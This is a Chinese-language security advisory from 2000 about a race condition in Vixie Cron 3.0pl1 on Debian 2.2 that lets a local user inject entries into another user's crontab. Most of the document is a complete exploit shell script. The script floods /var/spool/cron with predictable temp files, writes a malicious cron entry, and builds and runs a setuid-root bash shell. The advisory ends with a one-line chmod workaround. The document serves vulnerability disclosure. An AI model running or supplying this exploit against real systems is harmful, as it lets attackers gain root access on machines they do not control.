发布日期：2000-11-20
更新日期：2000-11-20

受影响系统：

    Paul Vixie Vixie Cron 3.0pl1
       + Debian Linux 2.2 sparc
       + Debian Linux 2.2 powerpc
       + Debian Linux 2.2 arm
       + Debian Linux 2.2 alpha
       + Debian Linux 2.2 68k
       + Debian Linux 2.2

描述：

---

Vixie cron 是 Paul Vixie 写的一种定时执行后台守护进程，许多自由Unix操作系
统附带了该软件。但是该软件存在竞争环境缺陷，允许恶意用户以其他用户身份执行
任意命令。

/var/spool/cron默认是全局可写，用户执行crontab -e后，会在该目录下生成一个
临时文件，文件名固定，扩展名是当前crontab进程号，类似这个样子，
crontab.<pid>。创建使用临时文件前，crontab并没有检查其是否存在，恶意的本地
用户使用事先猜测的crontab进程号提前在/var/spool/cron目录下生成多个临时文件，
当其他用户执行crontab -e时，会使用这些临时文件而不是删除、重新创建，恶意用
户趁此机会向相应临时文件写入一条恶意crontab入口，最终保存到其他用户的
crontab文件中。结果将以其他用户身份执行恶意用户指定的命令。

<* 来源：Michal Zalewski (lcamtuf@tpi.pl) *>



测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Michal Zalewski < mailto: lcamtuf@tpi.pl > 提供了如下攻击测试程序：
http://www.securityfocus.com/data/vulnerabilities/exploits/xpl.sh

--------------------------------------------------------------------------
#!/bin/sh

echo '.-------------------------------------------------------------------------.'
echo '| Marchew Hyperreal Industries ................... <marchew@dione.ids.pl> |'
echo "| ( ...well, it is just me, but it is more elite to speak as a group... ) |"
echo "\`--------------------------------- presents ------------------------------'"
echo
echo '  * another vixie-cron root sploit by Michal Zalewski <lcamtuf@ids.pl> *   '
echo
echo '.-------------------------------------------------------------------------.'
echo '| This time, it is somewhat more complicated. On some systems, it might   |'
echo '| require some tuning, to be slower, but resources-effective. It expects  |'
echo '| root (or other choosen user) to do "crontab -e" or "crontab /any/file"  |'
echo '| sooner or later, and spoofs the legitimate cron entry file with evil    |'
echo '| content, thus leading to account compromise (usually: root compromise). |'
echo "\`-------------------------------------------------------------------------'"
echo

CYCLES=32768
DESTUSER=root
SHOULDTOOK=60

VCRON="`strings /usr/bin/crontab 2>/dev/null|grep -i vixie`"

if [ "$VCRON" = "" ]; then
  echo "[-] Sorry, this box is not running vixie cron."
  echo
  exit 1
else
  echo "[+] Found Paul Vixie's /usr/bin/crontab utility."
fi


if [ -r /var/spool/cron ]; then
  echo "[+] This box has exploitable /var/spool/cron..."
else
  echo "[-] Sorry, this box is not vulnerable to this attack."
  echo
  exit 1
fi


if [ -u /usr/bin/crontab ]; then
  echo "[+] This box has setuid crontab utility..."
else
  echo "[-] Sorry, this box has no setuid crontab."
  echo
  exit 1
fi

cat >dowrite.c <<_EOF_
main() {
  lseek(1,0,0);
  write(1,"* * * * * /tmp/.rootcron\n\n",26);
  ftruncate(1,25);
}
_EOF_

echo "[+] Compiling helper application #1..."

gcc -o dowrite dowrite.c

if [ ! -f dowrite ]; then
  echo "[-] Compilation failed."
  echo
  exit 1
fi

echo "[+] Application #1 compiled successfully."

echo "[+] Creating helper application #2..."

cat >/tmp/.rootcron <<_EOF_
#!/bin/sh

(
  chown root.root /tmp/.r00tcr0n
  chmod 6755 /tmp/.r00tcr0n
  rm -f /var/spool/cron/tmp.*
  crontab -r
) &>/dev/null

_EOF_

cat >root.c <<_EOF_
main() {
  setuid(0); setgid(0);
  unlink("/tmp/.r00tcr0n");
  execl("/bin/bash","bash","-i",0);
  perror("bash");
}
_EOF_

echo "[+] Compiling helper application #3..."

gcc -o /tmp/.r00tcr0n root.c

if [ ! -f /tmp/.r00tcr0n ]; then
  echo "[-] Compilation failed."
  echo
  exit 1
fi

echo "[+] Application #3 compiled successfully."


X=0


if [ ! "$1" = "noprep" ]; then

  echo "[*] Attack against user $DESTUSER, doing $CYCLES setup cycles..."
  echo "    Please be patient, setup might took some time; to skip it if"
  echo "    /var/spool/cron on this machine is already initialized, use"
  echo "    '$0 noprep'."

  PROB=$[CYCLES*100/32768]
  test "$PROB" -gt "100" && PROB=100

  echo "[+] This gives almost $PROB% probability of success on the first attempt."

  while [ "$X" -lt "$CYCLES" ]; do
    X=$[X+1]
    echo -ne "\r[?] Doing cycle $X of $CYCLES [$[X*100/CYCLES]% done]... "
    umask 0
    ( ( crontab /dev/urandom & usleep 1000; killall crontab ) & ) &>/dev/null
  done

  sleep 3;killall -9 crontab &>/dev/null

  echo
  echo "[+] Setup complete, /var/spool/cron filled with junk tmp files."

  CNT=0

  echo "[*] Now, doing cleanup and counting the nodes..."

  for i in 1 2 3 4 5 6 7 8 9; do
    for j in /var/spool/cron/tmp.${i}*; do
      echo -n >$j
      echo -ne "\r[+] Node $CNT clean... "
      CNT=$[CNT+1]
    done
  done

  echo

  PROB=$[CNT*100/32768]

  echo "[+] Found $CNT nodes, approx. $PROB% chance..."

  if [ "$CNT" -lt "$[CYCLES*2/3]" ]; then
    echo "[-] Less than 66% of expected nodes were created. Try adjusting the exploit."
    echo
    exit 1
  fi

else

  echo "[?] Skipping /var/spool/cron initialization. Results might be unpredictable."

fi

echo "[+] Now I will wait for $DESTUSER to edit his crontab. Could take some time."

chmod 755 /tmp/.rootcron

while :; do
  sleep 1
  GOT="`ps auxhw|grep ^$DESTUSER|grep crontab|grep -v grep|cut -b10-15|head -1`"
  test "$GOT" = "" && continue
  GOT=`echo $GOT`
  echo "[+] Caught victim at pid $GOT..."
  if [ ! -f /var/spool/cron/tmp.$GOT ]; then
    echo "[-] DAMN! We have no node for this pid, bad luck..."
    continue
  fi
  echo '[+] Got this node :) Entering event wait loop...'
  export DESTUSER
  (
     G=blabla
     while [ ! "$G" = "" ]; do
       G="`ps auxhw|grep ^$DESTUSER|grep crontab|grep -v grep`"
     done
     sleep 1
     echo "[+] Bingo! It happened. Now writing our evil content..." 1>&2
     ./dowrite
  ) >/var/spool/cron/tmp.$GOT
  echo '* * * * * /bin/true' >.ctab
  echo "[+] Evil content written. Trying to rehash the daemon..."
  crontab .ctab
  crontab -r
  echo "[+] Entering event loop waiting for exploit to work..."
  while [ ! -u /tmp/.r00tcr0n ]; do
    sleep 1
  done
  rm -f .ctab dowrite dowrite.c /tmp/.rootcron root.c
  echo "[+] Calling the main code..."
  /tmp/.r00tcr0n
  echo "[*] Thank you for choosing Marchew Industries."
  echo
  exit 1
done
--------------------------------------------------------------------------

建议：

---

一个临时解决方案是 chmod 0700 /var/spool/cron

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